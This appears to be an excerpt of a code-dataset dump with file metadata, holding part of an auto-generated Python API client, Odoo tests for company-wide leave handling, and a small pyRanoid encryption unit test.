collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth'] # noqa: E501
return self.api_client.call_api(
'/persistent-index.deleteAllModelCompartments', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimpleMessage', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_model_compartment(self, model_compartment, **kwargs): # noqa: E501
"""Delete model compartment from persistent index # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_model_compartment(model_compartment, async_req=True)
>>> result = thread.get()
:param async_req bool
:param ModelCompartment model_compartment: Model compartment descriptor. (required)
:return: SimpleMessage
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_model_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501
else:
(data) = self.delete_model_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501
return data
def delete_model_compartment_with_http_info(self, model_compartment, **kwargs): # noqa: E501
"""Delete model compartment from persistent index # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_model_compartment_with_http_info(model_compartment, async_req=True)
>>> result = thread.get()
:param async_req bool
:param ModelCompartment model_compartment: Model compartment descriptor. (required)
:return: SimpleMessage
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = ['model_compartment'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_model_compartment" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'model_compartment' is set
if ('model_compartment' not in local_var_params or
local_var_params['model_compartment'] is None):
raise ValueError("Missing the required parameter `model_compartment` when calling `delete_model_compartment`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'model_compartment' in local_var_params:
body_params = local_var_params['model_compartment']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth'] # noqa: E501
return self.api_client.call_api(
'/persistent-index.deleteModelCompartment', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimpleMessage', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def get_persistent_index_info(self, **kwargs): # noqa: E501
"""Retrieve overall information on the persistent index # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_persistent_index_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: PersistentIndexInfoResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_persistent_index_info_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_persistent_index_info_with_http_info(**kwargs) # noqa: E501
return data
def get_persistent_index_info_with_http_info(self, **kwargs): # noqa: E501
"""Retrieve overall information on the persistent index # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_persistent_index_info_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: PersistentIndexInfoResponse
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_persistent_index_info" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth'] # noqa: E501
return self.api_client.call_api(
'/persistent-index.info', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PersistentIndexInfoResponse', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def index_model_compartment(self, model_compartment, **kwargs): # noqa: E501
"""Index model compartment from model repository and store in peristent index. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.index_model_compartment(model_compartment, async_req=True)
>>> result = thread.get()
:param async_req bool
:param ModelCompartment model_compartment: Model compartment descriptor. (required)
:return: IndexMessage
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.index_model_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501
else:
(data) = self.index_model_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501
return data
def index_model_compartment_with_http_info(self, model_compartment, **kwargs): # noqa: E501
"""Index model compartment from model repository and store in peristent index. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.index_model_compartment_with_http_info(model_compartment, async_req=True)
>>> result = thread.get()
:param async_req bool
:param ModelCompartment model_compartment: Model compartment descriptor. (required)
:return: IndexMessage
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = ['model_compartment'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method index_model_compartment" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'model_compartment' is set
if ('model_compartment' not in local_var_params or
local_var_params['model_compartment'] is None):
raise ValueError("Missing the required parameter `model_compartment` when calling `index_model_compartment`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'model_compartment' in local_var_params:
body_params = local_var_params['model_compartment']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth'] # noqa: E501
return self.api_client.call_api(
'/persistent-index.indexModelCompartment', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='IndexMessage', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def list_persisted_model_compartments(self, **kwargs): # noqa: E501
"""List model compartments stored by persistent index. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_persisted_model_compartments(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: ListPersistedModelCompartmentsResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_persisted_model_compartments_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.list_persisted_model_compartments_with_http_info(**kwargs) # noqa: E501
return data
def list_persisted_model_compartments_with_http_info(self, **kwargs): # noqa: E501
"""List model compartments stored by persistent index. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_persisted_model_compartments_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: ListPersistedModelCompartmentsResponse
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_persisted_model_compartments" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth'] # noqa: E501
return self.api_client.call_api(
'/persistent-index.listModelCompartments', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ListPersistedModelCompartmentsResponse', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def normalize_delta_based_compartment(self, model_compartment, **kwargs): # noqa: E501
"""Normalize compartment that uses delta headers in persistent index # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.normalize_delta_based_compartment(model_compartment, async_req=True)
>>> result = thread.get()
:param async_req bool
:param ModelCompartment model_compartment: Model compartment descriptor. (required)
:return: SimpleMessage
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.normalize_delta_based_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501
else:
(data) = self.normalize_delta_based_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501
return data
def normalize_delta_based_compartment_with_http_info(self, model_compartment, **kwargs): # noqa: E501
"""Normalize compartment that uses delta headers in persistent index # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.normalize_delta_based_compartment_with_http_info(model_compartment, async_req=True)
>>> result = thread.get()
:param async_req bool
:param ModelCompartment model_compartment: Model compartment descriptor. (required)
:return: SimpleMessage
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = ['model_compartment'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method normalize_delta_based_compartment" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'model_compartment' is set
if ('model_compartment' not in local_var_params or
local_var_params['model_compartment'] is None):
raise ValueError("Missing the required parameter `model_compartment` when calling `normalize_delta_based_compartment`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'model_compartment' in local_var_params:
body_params = local_var_params['model_compartment']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth'] # noqa: E501
return self.api_client.call_api(
'/persistent-index.normalizeDeltaBasedCompartment', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimpleMessage', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
| 40.083333
| 145
| 0.639823
| 2,623
| 23,569
| 5.433092
| 0.066336
| 0.043786
| 0.058943
| 0.030314
| 0.943162
| 0.940074
| 0.938881
| 0.930321
| 0.927444
| 0.92597
| 0
| 0.014368
| 0.279477
| 23,569
| 587
| 146
| 40.151618
| 0.824815
| 0.319657
| 0
| 0.817308
| 1
| 0
| 0.178672
| 0.064118
| 0
| 0
| 0
| 0
| 0
| 1
| 0.041667
| false
| 0
| 0.012821
| 0
| 0.115385
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
b922b2b569fcbcbeab485710ba8553b939465f6c
| 13,735
|
py
|
Python
|
odoo-13.0/addons/hr_holidays/tests/test_company_leave.py
|
VaibhavBhujade/Blockchain-ERP-interoperability
|
b5190a037fb6615386f7cbad024d51b0abd4ba03
|
[
"MIT"
] | null | null | null |
odoo-13.0/addons/hr_holidays/tests/test_company_leave.py
|
VaibhavBhujade/Blockchain-ERP-interoperability
|
b5190a037fb6615386f7cbad024d51b0abd4ba03
|
[
"MIT"
] | null | null | null |
odoo-13.0/addons/hr_holidays/tests/test_company_leave.py
|
VaibhavBhujade/Blockchain-ERP-interoperability
|
b5190a037fb6615386f7cbad024d51b0abd4ba03
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from datetime import date, datetime
from odoo.tests import tagged
from odoo.tests.common import SavepointCase
@tagged('company_leave')
class TestCompanyLeave(SavepointCase):
""" Test leaves for a whole company, conflict resolutions """
@classmethod
def setUpClass(cls):
super(TestCompanyLeave, cls).setUpClass()
cls.company = cls.env['res.company'].create({'name': 'A company'})
cls.bank_holiday = cls.env['hr.leave.type'].create({
'name': 'Bank Holiday',
'responsible_id': cls.env.user.id,
'company_id': cls.company.id,
})
cls.paid_time_off = cls.env['hr.leave.type'].create({
'name': 'Paid Time Off',
'request_unit': 'day',
'validation_type': 'both',
'company_id': cls.company.id,
})
cls.employee = cls.env['hr.employee'].create({
'name': 'My Employee',
'company_id': cls.company.id,
})
def test_leave_whole_company_01(self):
# TEST CASE 1: Leaves taken in days. Take a 3 days leave
# Add a company leave on the second day.
# Check that leave is split into 2.
leave = self.env['hr.leave'].create({
'name': 'Hol11',
'employee_id': self.employee.id,
'holiday_status_id': self.paid_time_off.id,
'request_date_from': date(2020, 1, 7),
'date_from': date(2020, 1, 7),
'request_date_to': date(2020, 1, 9),
'date_to': date(2020, 1, 9),
'number_of_days': 3,
})
leave._onchange_request_parameters()
company_leave = self.env['hr.leave'].create({
'name': 'Bank Holiday',
'holiday_type': 'company',
'mode_company_id': self.company.id,
'holiday_status_id': self.bank_holiday.id,
'date_from': date(2020, 1, 8),
'request_date_from': date(2020, 1, 8),
'date_to': date(2020, 1, 8),
'request_date_to': date(2020, 1, 8),
'number_of_days': 1,
})
company_leave._onchange_request_parameters()
company_leave.action_validate()
all_leaves = self.env['hr.leave'].search([('employee_id', '=', self.employee.id)], order='id')
self.assertEqual(len(all_leaves), 4)
# Original Leave
self.assertEqual(leave.state, 'refuse')
# before leave
self.assertEqual(all_leaves[1].date_from, datetime(2020, 1, 7, 7, 0))
self.assertEqual(all_leaves[1].date_to, datetime(2020, 1, 7, 16, 0))
self.assertEqual(all_leaves[1].number_of_days, 1)
self.assertEqual(all_leaves[1].state, 'confirm')
# After leave
self.assertEqual(all_leaves[2].date_from, datetime(2020, 1, 9, 7, 0))
self.assertEqual(all_leaves[2].date_to, datetime(2020, 1, 9, 16, 0))
self.assertEqual(all_leaves[2].number_of_days, 1)
self.assertEqual(all_leaves[2].state, 'confirm')
# Company Leave
self.assertEqual(all_leaves[3].date_from, datetime(2020, 1, 8, 7, 0))
self.assertEqual(all_leaves[3].date_to, datetime(2020, 1, 8, 16, 0))
self.assertEqual(all_leaves[3].number_of_days, 1)
self.assertEqual(all_leaves[3].state, 'validate')
def test_leave_whole_company_02(self):
# TEST CASE 2: Leaves taken in half-days. Take a 3 days leave
# Add a company leave on the second day
# Check that leave is split into 2
self.paid_time_off.request_unit = 'half_day'
leave = self.env['hr.leave'].create({
'name': 'Hol11',
'employee_id': self.employee.id,
'holiday_status_id': self.paid_time_off.id,
'request_date_from': date(2020, 1, 7),
'date_from': date(2020, 1, 7),
'request_date_to': date(2020, 1, 9),
'date_to': date(2020, 1, 9),
'number_of_days': 3,
})
leave._onchange_request_parameters()
company_leave = self.env['hr.leave'].create({
'name': 'Bank Holiday',
'holiday_type': 'company',
'mode_company_id': self.company.id,
'holiday_status_id': self.bank_holiday.id,
'date_from': date(2020, 1, 8),
'request_date_from': date(2020, 1, 8),
'date_to': date(2020, 1, 8),
'request_date_to': date(2020, 1, 8),
'number_of_days': 1,
})
company_leave._onchange_request_parameters()
company_leave.action_validate()
all_leaves = self.env['hr.leave'].search([('employee_id', '=', self.employee.id)], order='id')
self.assertEqual(len(all_leaves), 4)
# Original Leave
self.assertEqual(leave.state, 'refuse')
# before leave
self.assertEqual(all_leaves[1].date_from, datetime(2020, 1, 7, 7, 0))
self.assertEqual(all_leaves[1].date_to, datetime(2020, 1, 7, 16, 0))
self.assertEqual(all_leaves[1].number_of_days, 1)
self.assertEqual(all_leaves[1].state, 'confirm')
# After leave
self.assertEqual(all_leaves[2].date_from, datetime(2020, 1, 9, 7, 0))
self.assertEqual(all_leaves[2].date_to, datetime(2020, 1, 9, 16, 0))
self.assertEqual(all_leaves[2].number_of_days, 1)
self.assertEqual(all_leaves[2].state, 'confirm')
# Company Leave
self.assertEqual(all_leaves[3].date_from, datetime(2020, 1, 8, 7, 0))
self.assertEqual(all_leaves[3].date_to, datetime(2020, 1, 8, 16, 0))
self.assertEqual(all_leaves[3].number_of_days, 1)
self.assertEqual(all_leaves[3].state, 'validate')
def test_leave_whole_company_03(self):
# TEST CASE 3: Leaves taken in half-days. Take a 0.5 days leave
# Add a company leave on the same day
# Check that leave refused
self.paid_time_off.request_unit = 'half_day'
leave = self.env['hr.leave'].create({
'name': 'Hol11',
'employee_id': self.employee.id,
'holiday_status_id': self.paid_time_off.id,
'request_date_from': date(2020, 1, 7),
'request_date_to': date(2020, 1, 7),
'number_of_days': 0.5,
'request_unit_half': True,
'request_date_from_period': 'am',
})
leave._onchange_request_parameters()
company_leave = self.env['hr.leave'].create({
'name': 'Bank Holiday',
'holiday_type': 'company',
'mode_company_id': self.company.id,
'holiday_status_id': self.bank_holiday.id,
'date_from': date(2020, 1, 7),
'request_date_from': date(2020, 1, 7),
'date_to': date(2020, 1, 7),
'request_date_to': date(2020, 1, 7),
'number_of_days': 1,
})
company_leave._onchange_request_parameters()
company_leave.action_validate()
all_leaves = self.env['hr.leave'].search([('employee_id', '=', self.employee.id)], order='id')
self.assertEqual(len(all_leaves), 2)
# Original Leave
self.assertEqual(leave.state, 'refuse')
# Company Leave
self.assertEqual(all_leaves[1].date_from, datetime(2020, 1, 7, 7, 0))
self.assertEqual(all_leaves[1].date_to, datetime(2020, 1, 7, 16, 0))
self.assertEqual(all_leaves[1].number_of_days, 1)
self.assertEqual(all_leaves[1].state, 'validate')
def test_leave_whole_company_04(self):
# TEST CASE 4: Leaves taken in days. Take a 1 days leave
# Add a company leave on the same day
# Check that leave is refused
self.paid_time_off.request_unit = 'day'
leave = self.env['hr.leave'].create({
'name': 'Hol11',
'employee_id': self.employee.id,
'holiday_status_id': self.paid_time_off.id,
'request_date_from': date(2020, 1, 9),
'request_date_to': date(2020, 1, 9),
'number_of_days': 1,
})
leave._onchange_request_parameters()
company_leave = self.env['hr.leave'].create({
'name': 'Bank Holiday',
'holiday_type': 'company',
'mode_company_id': self.company.id,
'holiday_status_id': self.bank_holiday.id,
'date_from': date(2020, 1, 9),
'request_date_from': date(2020, 1, 9),
'date_to': date(2020, 1, 9),
'request_date_to': date(2020, 1, 9),
'number_of_days': 1,
})
company_leave._onchange_request_parameters()
company_leave.action_validate()
all_leaves = self.env['hr.leave'].search([('employee_id', '=', self.employee.id)], order='id')
self.assertEqual(len(all_leaves), 2)
# Original Leave
self.assertEqual(leave.state, 'refuse')
# Company Leave
self.assertEqual(all_leaves[1].date_from, datetime(2020, 1, 9, 7, 0))
self.assertEqual(all_leaves[1].date_to, datetime(2020, 1, 9, 16, 0))
self.assertEqual(all_leaves[1].number_of_days, 1)
self.assertEqual(all_leaves[1].state, 'validate')
def test_leave_whole_company_06(self):
# Test case 6: Leaves taken in days. But the employee
# only works on Monday, Wednesday and Friday
# Takes a time off for all the week (3 days), should be split
self.employee.resource_calendar_id.write({'attendance_ids': [
(5, 0, 0),
(0, 0, {'name': 'Monday Morning', 'dayofweek': '0', 'hour_from': 8, 'hour_to': 12, 'day_period': 'morning'}),
(0, 0, {'name': 'Monday Afternoon', 'dayofweek': '0', 'hour_from': 13, 'hour_to': 17, 'day_period': 'afternoon'}),
(0, 0, {'name': 'Wednesday Morning', 'dayofweek': '2', 'hour_from': 8, 'hour_to': 12, 'day_period': 'morning'}),
(0, 0, {'name': 'Wednesday Afternoon', 'dayofweek': '2', 'hour_from': 13, 'hour_to': 17, 'day_period': 'afternoon'}),
(0, 0, {'name': 'Friday Morning', 'dayofweek': '4', 'hour_from': 8, 'hour_to': 12, 'day_period': 'morning'}),
(0, 0, {'name': 'Friday Afternoon', 'dayofweek': '4', 'hour_from': 13, 'hour_to': 17, 'day_period': 'afternoon'})
]})
leave = self.env['hr.leave'].create({
'name': 'Hol11',
'employee_id': self.employee.id,
'holiday_status_id': self.paid_time_off.id,
'request_date_from': date(2020, 1, 6),
'request_date_to': date(2020, 1, 10),
'number_of_days': 3,
})
leave._onchange_request_parameters()
company_leave = self.env['hr.leave'].create({
'name': 'Bank Holiday',
'holiday_type': 'company',
'mode_company_id': self.company.id,
'holiday_status_id': self.bank_holiday.id,
'date_from': date(2020, 1, 10),
'request_date_from': date(2020, 1, 10),
'date_to': date(2020, 1, 10),
'request_date_to': date(2020, 1, 10),
'number_of_days': 1,
})
company_leave._onchange_request_parameters()
company_leave.action_validate()
all_leaves = self.env['hr.leave'].search([('employee_id', '=', self.employee.id)], order='id')
self.assertEqual(len(all_leaves), 3)
# Original Leave
self.assertEqual(leave.state, 'refuse')
# before leave
self.assertEqual(all_leaves[1].date_from, datetime(2020, 1, 6, 7, 0))
self.assertEqual(all_leaves[1].date_to, datetime(2020, 1, 9, 16, 0))
self.assertEqual(all_leaves[1].number_of_days, 2)
self.assertEqual(all_leaves[1].state, 'confirm')
# Company Leave
self.assertEqual(all_leaves[2].date_from, datetime(2020, 1, 10, 7, 0))
self.assertEqual(all_leaves[2].date_to, datetime(2020, 1, 10, 16, 0))
self.assertEqual(all_leaves[2].number_of_days, 1)
self.assertEqual(all_leaves[2].state, 'validate')
def test_leave_whole_company_07(self):
# Test Case 7: Try to create a bank holidays for a lot of
# employees, and check the performances
# 100 employees - 15 already on holidays that day
employees = self.env['hr.employee'].create([{
'name': 'Employee %s' % i,
'company_id': self.company.id
} for i in range(100)])
leaves = self.env['hr.leave'].create([{
'name': 'Holiday - %s' % employee.name,
'employee_id': employee.id,
'holiday_status_id': self.paid_time_off.id,
'request_date_from': date(2020, 3, 29),
'request_date_to': date(2020, 4, 1),
'number_of_days': 3,
} for employee in employees[0:15]])
for leave in leaves:
leave._onchange_request_parameters()
company_leave = self.env['hr.leave'].create({
'name': 'Bank Holiday',
'holiday_type': 'company',
'mode_company_id': self.company.id,
'holiday_status_id': self.bank_holiday.id,
'date_from': date(2020, 4, 1),
'request_date_from': date(2020, 4, 1),
'date_to': date(2020, 4, 1),
'request_date_to': date(2020, 4, 1),
'number_of_days': 1,
})
company_leave._onchange_request_parameters()
with self.assertQueryCount(__system__=846, admin=845):
# Original query count: 1987
# Without tracking/activity context keys: 5154
company_leave.action_validate()
leaves = self.env['hr.leave'].search([('holiday_status_id', '=', self.bank_holiday.id)])
self.assertEqual(len(leaves), 102)
| 42.391975
| 129
| 0.587404
| 1,784
| 13,735
| 4.304933
| 0.09417
| 0.035156
| 0.09375
| 0.125
| 0.83138
| 0.815625
| 0.783333
| 0.753385
| 0.745443
| 0.735807
| 0
| 0.059023
| 0.268511
| 13,735
| 323
| 130
| 42.52322
| 0.705385
| 0.089407
| 0
| 0.73251
| 0
| 0
| 0.188062
| 0.001926
| 0
| 0
| 0
| 0
| 0.213992
| 1
| 0.028807
| false
| 0
| 0.012346
| 0
| 0.045267
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b96c05b84f359fc7948090ec3cfe2df765aee5de
| 1,790
|
py
|
Python
|
src/tests/test_crypto.py
|
omnone/pyHide
|
ffe9a8ccdca37695dd6ec1f80e090db548d1fe8a
|
[
"MIT"
] | 11
|
2020-10-03T12:51:50.000Z
|
2021-05-11T08:01:49.000Z
|
src/tests/test_crypto.py
|
omnone/pyHide
|
ffe9a8ccdca37695dd6ec1f80e090db548d1fe8a
|
[
"MIT"
] | 11
|
2020-10-03T12:40:20.000Z
|
2020-12-08T06:07:39.000Z
|
src/tests/test_crypto.py
|
omnone/pyHide
|
ffe9a8ccdca37695dd6ec1f80e090db548d1fe8a
|
[
"MIT"
] | 12
|
2020-10-03T12:51:58.000Z
|
2020-10-28T08:40:55.000Z
|
import unittest
import sys
import os
testDir = os.path.dirname(__file__)
srcDir = '../pyRanoid'
sys.path.insert(0, os.path.abspath(os.path.join(testDir, srcDir)))
import encryption
class TestCrypto(unittest.TestCase):
def test_encryptText(self):
"""
Test that text get encrypted based on AES
"""
message = 'test'
result = encryption.encryptText(message, password='test')
self.assertNotEqual(result, message)
def test_decryptText(self):
"""
Test that text get decrypted based on AES
"""
expectedResult = 'test'
message = str(b'AES\x02\x00\x00\x1bCREATED_BY\x00pyAesCrypt 0.4.3\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xd4\xe2\xcc\x8b\x81pq\x98\xf6W&\xf5\xfcP\x90\xcc\xfd\xa6\xeb\xc0\xa8|4\x0b\x8a\x1a\x0c\x18\x92\xa1\xde[Pd\xed\x85\xa0!\xce\x02W#?\xf2&"\xd9W\xd9\x0e\xdc_\xd7\xc7\xc4`\xa8\xd1\xf0\x08\xc22\xc6\xa6\x9b\xdf^)Mj\x02z0\xc9\xca\xb9[\x7f\xeb\xfcMi\xb8ZD~^\xa3\x93\xb7\xfe\x13\x07q\xa1\xd3"\xf3_\x83\xea\xccbu\xad\xc7\x1b\xd4\xdb\xf1O\x04\x84\x8fK\xb2\xf3\x94H\xabTi\xa0\xda\xd4:n/\xd9\xc3(\xff(gZ\xc9\xe0u}Z\xcb\xb6\xa1\x10')
result = encryption.decryptText(message,password='test')
self.assertEqual(result,expectedResult)
if __name__ == '__main__':
unittest.main()
| 54.242424
| 1,024
| 0.702793
| 327
| 1,790
| 3.795107
| 0.406728
| 0.628525
| 0.928284
| 1.228042
| 0.344883
| 0.314263
| 0.314263
| 0.314263
| 0.314263
| 0.314263
| 0
| 0.228893
| 0.106704
| 1,790
| 32
| 1,025
| 55.9375
| 0.547217
| 0.046369
| 0
| 0
| 0
| 0.052632
| 0.622289
| 0.600602
| 0
| 0
| 0
| 0
| 0.105263
| 1
| 0.105263
| false
| 0.105263
| 0.210526
| 0
| 0.368421
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
b9849d56efbf812e5d5931664e073a8bfca9fe5c
| 27,752
|
py
|
Python
|
axonclient/command_pb2.py
|
johnbywater/axon-server-api
|
43c93be99a8daaa92a5f1842d1439f07f0cd93f1
|
[
"Apache-2.0"
] | 3
|
2020-01-19T02:09:08.000Z
|
2021-09-02T15:39:36.000Z
|
axonclient/command_pb2.py
|
johnbywater/axon-server-api
|
43c93be99a8daaa92a5f1842d1439f07f0cd93f1
|
[
"Apache-2.0"
] | null | null | null |
axonclient/command_pb2.py
